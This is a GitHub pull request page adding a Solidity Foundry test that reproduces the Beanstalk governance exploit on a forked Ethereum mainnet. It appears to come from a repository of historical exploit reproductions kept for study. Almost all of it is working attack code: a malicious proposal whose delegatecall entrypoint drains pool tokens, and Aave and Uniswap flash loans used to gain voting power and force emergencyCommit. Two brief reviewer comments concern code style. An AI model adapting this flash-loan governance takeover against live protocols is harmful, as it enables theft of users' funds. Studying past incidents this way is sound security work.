generated from foundry-rs/hardhat-foundry-template
-
Notifications
You must be signed in to change notification settings - Fork 216
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
beanstalk exploit #50
Open
donequis
wants to merge
5
commits into
master
Choose a base branch
from
beanstalk
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,233 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.17; | ||
|
||
import {IERC20} from "../../interfaces/IERC20.sol"; | ||
import "forge-std/Test.sol"; | ||
import {TestHarness} from "../../TestHarness.sol"; | ||
import "./Interfaces.sol"; | ||
import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; | ||
|
||
contract BeanstalkAttack is TokenBalanceTracker { | ||
|
||
IBeanStalk private constant beanstalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); | ||
IERC20 private constant bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db); | ||
IAaveLendingPool private constant aave = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); | ||
IUniswapV2Router02 private constant uniswap = IUniswapV2Router02(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); | ||
IUniswapV2Factory private constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); | ||
IERC20 private constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); | ||
ICurvePool private constant crvbean = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD); | ||
IERC20 private constant crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490); | ||
ICurvePool private constant crvpool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); | ||
|
||
IUniswapV2Factory private constant sushi = IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); | ||
IERC20 private constant lusd = IERC20(0x5f98805A4E8be255a32880FDeC7F6728C6568bA0); | ||
address private constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); | ||
|
||
constructor() { | ||
addTokenToTracker(address(weth)); | ||
addTokenToTracker(usdc); | ||
addTokenToTracker(address(bean)); | ||
addTokenToTracker(address(lusd)); | ||
addTokenToTracker(address(crv)); | ||
addTokenToTracker(address(crvbean)); | ||
addTokenToTracker(address(0x87898263B6C5BABe34b4ec53F22d98430b91e371)); | ||
|
||
updateBalanceTracker(address(this)); | ||
updateBalanceTracker(address(beanstalk)); | ||
} | ||
|
||
function propose() external payable { | ||
// proposing the bip requires a stake | ||
// this money must be owned when preparing the attack | ||
bean.approve(address(beanstalk), type(uint256).max); | ||
|
||
address[] memory path = new address[](2); | ||
path[0] = uniswap.WETH(); | ||
path[1] = address(bean); //we need bean tokens | ||
uniswap.swapExactETHForTokens{value: 100 ether}(0, path, address(this), block.timestamp + 1); | ||
|
||
//depositing into bean | ||
beanstalk.depositBeans(bean.balanceOf(address(this))); | ||
|
||
//the proposal is just calling the entrypoint function at this contract address | ||
//this will be performed using a delegate call from the beanstalk silo | ||
IBeanStalk.FacetCut[] memory cut = new IBeanStalk.FacetCut[](0); | ||
bytes memory data = abi.encodeWithSelector(BeanstalkAttack.entrypoint.selector); | ||
beanstalk.propose(cut, address(this), data, 3); | ||
} | ||
|
||
function entrypoint() external { | ||
//Don't use storage here as this is called though delegateCall | ||
//Here we have msg.sender as the attacker and this as the victim | ||
address token = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD; //BEAN 3CRV | ||
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); | ||
|
||
token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD | ||
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); | ||
|
||
token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN | ||
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); | ||
|
||
token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN | ||
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); | ||
} | ||
|
||
function attack() external { | ||
logBalancesWithLabel("Initial balance", address(this)); | ||
logBalancesWithLabel("Initial balance", address(beanstalk)); | ||
//Approvals | ||
//we need to deposit in crv liquidity pool and also approve aave so it can recover the funds | ||
//after the flashloan | ||
//approvals could be performed later, but there's no real benefit on it | ||
address[] memory addresses = new address[](2); | ||
addresses[0] = address(crvpool); | ||
addresses[1] = address(aave); | ||
|
||
address[] memory tokens = new address[](3); | ||
tokens[0] = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //DAI | ||
tokens[1] = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); //USDT | ||
tokens[2] = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); //USDC | ||
|
||
for (uint i = 0; i < addresses.length; i++) { | ||
address a = addresses[i]; | ||
//USDT fails when calling approve, so we use a low level call | ||
bytes memory data = abi.encodeWithSelector(bean.approve.selector, a, type(uint256).max); | ||
for (uint j = 0; j < tokens.length; j++) { | ||
address token = tokens[j]; | ||
token.call(data); | ||
} | ||
} | ||
|
||
//Aave flashloan - 350M DAI / 150M USDT / 500M USDC | ||
//Values used by the attacker | ||
uint256[] memory amounts = new uint256[](3); | ||
amounts[0] = 350000000; | ||
amounts[1] = 150000000; | ||
amounts[2] = 500000000; | ||
|
||
//decimals could be included above for saving gas, this is probably clearer | ||
for (uint256 i = 0; i < 3; i++) { | ||
amounts[i] = amounts[i] * (10**uint256(IERC20(tokens[i]).decimals())); | ||
} | ||
//aave flashloans work by calling executeOperation and leaving allowance so it can recoverd the requested tokens + premiums | ||
aave.flashLoan(address(this), address[](tokens), amounts, new uint256[](3), address(this), new bytes(0), 0); | ||
|
||
uint256 balance = crv.balanceOf(address(this)); | ||
crvpool.remove_liquidity_one_coin(balance, 1, 0); | ||
} | ||
|
||
//Aave flashloan callback | ||
function executeOperation( | ||
address[] calldata, | ||
uint256[] calldata amounts, | ||
uint256[] calldata premiums, | ||
address, | ||
bytes calldata | ||
) external returns (bool) { | ||
logBalancesWithLabel("Aave flashloan", address(this)); | ||
//Notice that the 3crv params have an order, which is not the case in uniswap | ||
uint256[3] memory params3; | ||
params3[0] = amounts[0]; | ||
params3[1] = amounts[2]; //Inverted | ||
params3[2] = amounts[1]; | ||
|
||
//we add liquidity to 3curve pools so we can later get | ||
//crvbeans for depositing in beanstalk | ||
crvpool.add_liquidity(params3, uint256(0)); | ||
|
||
//hardcoding this value could save some gas | ||
IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(bean), address(weth))); | ||
require(address(pair) != address(0), "Missing unswap v2 bean pair"); | ||
|
||
//data parameter is used for identifying flash swaps vs normal swaps | ||
bytes memory data = abi.encodePacked(uint256(1)); | ||
pair.swap(0, 10000000 * 10**bean.decimals(), address(this), data); | ||
|
||
//these values are needed by aave to recover the funds | ||
//calling remove_liquidity_one_coin without calling remove_liquidity_imbalance first | ||
//will return all the value in only one token | ||
params3[0] = amounts[0] + premiums[0]; | ||
params3[1] = amounts[2] + premiums[2]; | ||
params3[2] = amounts[1] + premiums[1]; | ||
crvpool.remove_liquidity_imbalance(params3, type(uint256).max); | ||
|
||
logBalancesWithLabel("Flashloan paids, attacker", address(this)); | ||
return true; | ||
} | ||
|
||
// Uniswap flashloan callback | ||
function uniswapV2Call(address, uint, uint amount, bytes calldata) external { | ||
//Example of how to check for uniswap vs sushiswap: we compare the senders against the pair | ||
//Sushiswap flashloans enters in the else clause, but as we don't need it we just leave the example | ||
//here. | ||
IUniswapV2Pair upair = IUniswapV2Pair(factory.getPair(address(bean), address(weth))); | ||
if (address(upair) == msg.sender) { | ||
IUniswapV2Pair spair = IUniswapV2Pair(sushi.getPair(address(lusd), address(weth))); | ||
bytes memory data = abi.encodeWithSelector(spair.swap.selector, 0, 1, address(this), abi.encodePacked(uint256(1))); | ||
(bool success, bytes memory ret) = address(spair).call(data); | ||
} else { | ||
return; //we do nothing with sushi flashloan, only leaving the example | ||
} | ||
|
||
//Uniswap flashloan is not necessary for this attack. | ||
//It could be done with the aave flashloan only, but we leave the example here for reference | ||
//though the money of this flashloan is not used | ||
//It was probably done to make sure that the attacker would have enough voting power | ||
crv.approve(address(crvbean), type(uint256).max); //for add_liquidity | ||
crvbean.approve(address(beanstalk), type(uint256).max); //for deposit | ||
|
||
//we are omitting here sushi flashloan for 11M LUSD | ||
uint256[2] memory params2; | ||
params2[0] = 0; | ||
params2[1] = crv.balanceOf(address(this)); | ||
crvbean.add_liquidity(params2, 0); | ||
beanstalk.deposit(address(crvbean), crvbean.balanceOf(address(this))); | ||
logBalancesWithLabel("Before commit, attacker", address(this)); | ||
|
||
//We made our deposit in bean, we are ready to execute the bip | ||
beanstalk.emergencyCommit(18); | ||
|
||
logBalancesWithLabel("Attack done, attacker", address(this)); | ||
logBalancesWithLabel("Attack done, victim", address(beanstalk)); | ||
crvbean.remove_liquidity_one_coin(crvbean.balanceOf(address(this)), 1, 0); | ||
|
||
//uniswap has this fixed fee, it must be paid explicitely | ||
uint256 repay = 1 + amount + (amount * 3) / 997; | ||
//this contract would be vulnerable here | ||
//advance bots could take advantage of the next line and steal funds at this point | ||
//so it would be wise to protect it by checking that msg.sender == pair (the uniswap, | ||
//contract that returns getPair) | ||
bean.transfer(msg.sender, repay); | ||
|
||
} | ||
} | ||
|
||
contract Exploit_Beanstalk is Test { | ||
function setUp() public { | ||
vm.createSelectFork("mainnet", 14595000); //we register the proposal here and wait 1 full day | ||
vm.deal(address(this), 100 ether); | ||
|
||
|
||
} | ||
|
||
function test_attack() public { | ||
BeanstalkAttack att = new BeanstalkAttack(); | ||
att.propose{value: 100 ether}(); | ||
vm.warp(block.timestamp + 1 days); //proposal can be executed now | ||
|
||
att.attack(); | ||
|
||
//Stolen tokens should be converted into eth to remove third party intervention | ||
address token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC | ||
require(IERC20(token).balanceOf(address(att)) > 0); | ||
|
||
token = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D; //BEANLUSD | ||
require(IERC20(token).balanceOf(address(att)) > 0); | ||
|
||
token = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db; //BEAN | ||
require(IERC20(token).balanceOf(address(att)) > 0); | ||
|
||
token = 0x87898263B6C5BABe34b4ec53F22d98430b91e371; //UNI-BEAN | ||
require(IERC20(token).balanceOf(address(att)) > 0); | ||
} | ||
} |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe we could re-arrange token addresses and any other relevant parameter as global variables for this exploit.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think that this highlights the importance of the order when calling add_liquidity which could be interesting for readers.